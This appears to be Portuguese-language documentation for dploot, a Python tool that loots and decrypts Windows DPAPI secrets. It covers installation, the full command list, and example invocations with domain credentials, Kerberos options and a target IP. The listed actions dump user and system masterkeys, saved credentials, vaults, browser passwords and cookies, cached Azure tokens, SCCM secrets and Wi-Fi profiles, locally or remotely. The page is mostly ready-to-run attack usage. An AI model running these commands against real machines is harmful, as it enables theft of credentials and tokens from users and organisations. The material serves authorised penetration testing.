
Saquear e descriptografar segredos do Windows DPAPI remotamente ou offline, incluindo masterkeys, credenciais, cofres, certificados, dados de navegador e tokens do Azure em cache.
dploot é uma reescrita em Python do SharpDPAPI escrito em C# por Harmj0y, que por sua vez é um port do DPAPI do Mimikatz de gentilkiwi. Ele implementa toda a lógica DPAPI dessas ferramentas, mas desta vez é utilizável com um interpretador Python e a partir de um ambiente Linux.
Se você não sabe o que é DPAPI, confira este post.
Você pode instalar o dploot diretamente do PyPI com pipx:
pipx install git+https://github.com/zblurx/dploot.git
OU
pipx install dploot
No Kali Linux, você pode instalar o dploot a partir dos repositórios:
sudo apt install python3-dploot
dploot (https://github.com/zblurx/dploot) v4.0.0 by @_zblurx
usage: dploot [-h]
{backupkey,blob,browser,certificates,cng,credentials,machinecertificates,machinecng,machinecredentials,machinemasterkeys,machinetriage,machinevaults,masterkeys,mobaxterm,rdg,sccm,triage,vaults,wam,wifi}
...
DPAPI looting in Python
positional arguments:
{backupkey,blob,browser,certificates,cng,credentials,machinecertificates,machinecng,machinecredentials,machinemasterkeys,machinetriage,machinevaults,masterkeys,mobaxterm,rdg,sccm,triage,vaults,wam,wifi}
Action
backupkey Backup Keys from domain controller
blob Decrypt DPAPI blob. Can fetch masterkeys on target
browser Dump users credentials and cookies saved in browser from local or remote target
certificates Dump users certificates from local or remote target
cng Dump users CNG files blob from local or remote target
credentials Dump users Credential Manager blob from local or remote target
machinecertificates
Dump system certificates from local or remote target
machinecng Dump system CNG files from local or remote target
machinecredentials Dump system credentials from local or remote target
machinemasterkeys Dump system masterkey from local or remote target
machinetriage Loot SYSTEM Masterkeys (if not set), SYSTEM credentials, SYSTEM certificates and SYSTEM vaults from local or remote target
machinevaults Dump system vaults from local or remote target
masterkeys Dump users masterkey from local or remote target
mobaxterm Dump Passwords and Credentials from MobaXterm
rdg Dump users saved password information for RDCMan.settings from local or remote target
sccm Dump SCCM secrets (NAA, Collection variables, tasks sequences credentials) from local or remote target
triage Loot Masterkeys (if not set), credentials, rdg, certificates, browser and vaults from local or remote target
vaults Dump users Vaults blob from local or remote target
wam Dump users cached azure tokens from local or remote target
wifi Dump wifi profiles from local or remote target
options:
-h, --help show this help message and exit
dploot v4.0.0+ suporta múltiplos protocolos de rede para acesso remoto. Você seleciona o protocolo usando --protocol <protocol_name>. Cada protocolo tem capacidades e requisitos diferentes:
Exemplo usando o protocolo WMI:
$ dploot masterkeys --protocol wmi -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5
Exemplo usando protocolo local (sistema de arquivos offline):
$ dploot masterkeys --protocol local --root /mnt/c_drive -u bob -p Password
Notas importantes sobre o suporte a comandos:
backupkey funciona apenas com o protocolo SMB (requer acesso ao controlador de domínio).--dpapi-system-key.O dploot pode autenticar com Kerberos para os protocolos smb, wmi e mssql. Use -k para habilitar Kerberos com fallback para NTLM. Se quiser usar um ticket em cache, use --use-kcache. Para usar uma chave AES, use --aesKey.
$ dploot masterkeys -d waza.local -u Administrator -k -t 192.168.57.5
O objetivo do dploot é simplificar o loot relacionado ao DPAPI a partir de uma máquina Linux. Como você usa esta ferramenta depende do seu nível de acesso e da configuração do alvo.
O protocolo padrão é o SMB. Esta é a abordagem mais comum para o loot de DPAPI e funciona com o compartilhamento de arquivos padrão do Windows:
$ dploot masterkeys -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)
[*] Triage ALL USERS masterkeys